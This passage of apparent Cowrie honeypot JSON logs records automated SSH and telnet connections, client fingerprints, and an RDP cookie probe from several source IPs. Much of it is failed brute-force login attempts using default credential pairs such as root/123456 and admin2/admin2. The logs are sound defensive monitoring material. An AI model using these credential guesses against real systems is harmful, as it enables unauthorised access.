0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:45.856125Z","src_ip":"176.65.132.129","session":"0cfb70d873c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"master","password":"master","message":"login attempt [master/master] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:46.117607Z","src_ip":"176.65.132.129","session":"0cfb70d873c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:47.202719Z","src_ip":"176.65.132.129","session":"0cfb70d873c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48890,"dst_ip":"10.17.0.5","dst_port":23,"session":"da46ba4875f6","protocol":"telnet","message":"New connection: 152.42.224.71:48890 (10.17.0.5:23) [session: da46ba4875f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:47.727030Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48902,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b53e65d628c","protocol":"telnet","message":"New connection: 152.42.224.71:48902 (10.17.0.5:23) [session: 7b53e65d628c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:47.742068Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":33692,"dst_ip":"159.203.135.109","dst_port":22,"session":"fa6664b8d30e","protocol":"ssh","message":"New connection: 176.65.132.129:33692 (159.203.135.109:22) [session: fa6664b8d30e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:49.066754Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:49.071829Z","src_ip":"176.65.132.129","session":"fa6664b8d30e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:49.154683Z","src_ip":"176.65.132.129","session":"fa6664b8d30e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0","message":"login attempt [root/0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:49.400069Z","src_ip":"176.65.132.129","session":"fa6664b8d30e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00118398666382,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:49.546896Z","src_ip":"152.42.224.71","session":"20b732aee31f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:50.484089Z","src_ip":"176.65.132.129","session":"fa6664b8d30e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.39599275588989,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:51.333310Z","src_ip":"152.42.224.71","session":"0657cfb346a2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":33712,"dst_ip":"159.203.135.109","dst_port":22,"session":"f2304779b3a1","protocol":"ssh","message":"New connection: 176.65.132.129:33712 (159.203.135.109:22) [session: f2304779b3a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:52.156738Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:52.161060Z","src_ip":"176.65.132.129","session":"f2304779b3a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:52.247206Z","src_ip":"176.65.132.129","session":"f2304779b3a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QWEqwe123","message":"login attempt [root/QWEqwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:52.500984Z","src_ip":"176.65.132.129","session":"f2304779b3a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48908,"dst_ip":"10.17.0.5","dst_port":23,"session":"d95c4be28ca3","protocol":"telnet","message":"New connection: 152.42.224.71:48908 (10.17.0.5:23) [session: d95c4be28ca3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:53.114297Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:53.638958Z","src_ip":"176.65.132.129","session":"f2304779b3a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.121.59.115","src_port":39634,"dst_ip":"10.17.0.5","dst_port":23,"session":"f79f179dadd2","protocol":"telnet","message":"New connection: 181.121.59.115:39634 (10.17.0.5:23) [session: f79f179dadd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:54.648184Z"}
{"eventid":"cowrie.session.closed","duration":51.396219968795776,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:54.823043Z","src_ip":"152.42.224.71","session":"d9240754f111","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":33732,"dst_ip":"159.203.135.109","dst_port":22,"session":"c9dc44d4a48a","protocol":"ssh","message":"New connection: 176.65.132.129:33732 (159.203.135.109:22) [session: c9dc44d4a48a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:55.507184Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:55.512480Z","src_ip":"176.65.132.129","session":"c9dc44d4a48a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:55.595220Z","src_ip":"176.65.132.129","session":"c9dc44d4a48a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin2","password":"admin2","message":"login attempt [admin2/admin2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:55.846351Z","src_ip":"176.65.132.129","session":"c9dc44d4a48a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:56.932204Z","src_ip":"176.65.132.129","session":"c9dc44d4a48a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.13.24.118","src_port":55788,"dst_ip":"10.17.0.5","dst_port":22,"session":"26cf8ba51732","protocol":"ssh","message":"New connection: 186.13.24.118:55788 (10.17.0.5:22) [session: 26cf8ba51732]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:57.564974Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:57.570355Z","src_ip":"186.13.24.118","session":"26cf8ba51732","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:57.737512Z","src_ip":"186.13.24.118","session":"26cf8ba51732","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Tt123456","message":"login attempt [root/Tt123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:58.435753Z","src_ip":"186.13.24.118","session":"26cf8ba51732","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":55686,"dst_ip":"159.203.135.109","dst_port":22,"session":"633bdc5fba18","protocol":"ssh","message":"New connection: 176.65.132.129:55686 (159.203.135.109:22) [session: 633bdc5fba18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:58.662706Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:58.712997Z","src_ip":"176.65.132.129","session":"633bdc5fba18","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:58.854713Z","src_ip":"176.65.132.129","session":"633bdc5fba18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rdpuser","password":"rdpuser","message":"login attempt [rdpuser/rdpuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:59.106772Z","src_ip":"176.65.132.129","session":"633bdc5fba18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:59.606430Z","src_ip":"186.13.24.118","session":"26cf8ba51732","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:00.191720Z","src_ip":"176.65.132.129","session":"633bdc5fba18","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":55694,"dst_ip":"159.203.135.109","dst_port":22,"session":"9ba3c366ec75","protocol":"ssh","message":"New connection: 176.65.132.129:55694 (159.203.135.109:22) [session: 9ba3c366ec75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:01.907671Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:01.912849Z","src_ip":"176.65.132.129","session":"9ba3c366ec75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:01.995406Z","src_ip":"176.65.132.129","session":"9ba3c366ec75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47650,"dst_ip":"10.17.0.5","dst_port":23,"session":"85174f45fda5","protocol":"telnet","message":"New connection: 152.42.224.71:47650 (10.17.0.5:23) [session: 85174f45fda5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:02.198112Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456","message":"login attempt [root/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:02.245400Z","src_ip":"176.65.132.129","session":"9ba3c366ec75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:03.331763Z","src_ip":"176.65.132.129","session":"9ba3c366ec75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":54.0365424156189,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:03.581782Z","src_ip":"152.42.224.71","session":"b12e6ec14a8c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47660,"dst_ip":"10.17.0.5","dst_port":23,"session":"f4d3909578c5","protocol":"telnet","message":"New connection: 152.42.224.71:47660 (10.17.0.5:23) [session: f4d3909578c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:03.689369Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":55698,"dst_ip":"159.203.135.109","dst_port":22,"session":"a1f45fdb91dc","protocol":"ssh","message":"New connection: 176.65.132.129:55698 (159.203.135.109:22) [session: a1f45fdb91dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:05.035561Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:05.047854Z","src_ip":"176.65.132.129","session":"a1f45fdb91dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:05.131381Z","src_ip":"176.65.132.129","session":"a1f45fdb91dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sonar","password":"123456","message":"login attempt [sonar/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:05.378887Z","src_ip":"176.65.132.129","session":"a1f45fdb91dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":63425,"dst_ip":"10.17.0.5","dst_port":22,"session":"5a5d9c92650c","protocol":"ssh","message":"New connection: 152.42.212.128:63425 (10.17.0.5:22) [session: 5a5d9c92650c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:05.834222Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:05.838859Z","src_ip":"152.42.212.128","session":"5a5d9c92650c","protocol":"ssh"}
